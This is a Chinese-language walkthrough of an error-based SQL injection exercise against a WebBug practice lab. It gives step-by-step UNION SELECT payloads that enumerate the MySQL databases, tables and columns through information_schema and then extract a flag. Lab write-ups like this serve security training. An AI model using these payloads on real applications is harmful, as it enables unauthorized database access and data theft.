一、显错注入
1、id换为2,3,4
http://10.128.175.155/control/sqlinject/manifest_error.php?id=1,可以看到前端显示不一样的内容
2、查看字段数:order by 2
order by 1,order by 2时,可以正常显示,order by 3时报错,可得到字段数为2
3、查看回显点:union select 1,2
可以看到回显点在第二个字段,可以替换第二个字段来获取数据库的相关信息
4、查看所有数据库:union select 1,group_concat(schema_name) from information_schema.schemata%23
得到这几个数据库名:information_schema,mysql,performance_schema,test,webug,webug_sys,webug_width_byte
5、查看当前数据库版本:union select 1,version()%23
当前数据库版本:5.5.53
6、获取当前库:union select 1,database()%23
当前数据库为webug
7、查看当前库下的表:union select 1,group_concat(table_name)from information_schema.tables where table_schema='webug' %23
得到webug库的表有:data_crud,env_list,env_path,flag,sqlinjection,user,user_test
8、查看env_list表中的字段:union select 1,group_concat(column_name)from information_schema.columns where table_name='env_list' and table_schema='webug' %23
得到env_list表的字段有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
9、查看envFlag的内容union select 1,envFlag from env_list where id=1 %23
得到flag:dfafdasfafdsadfa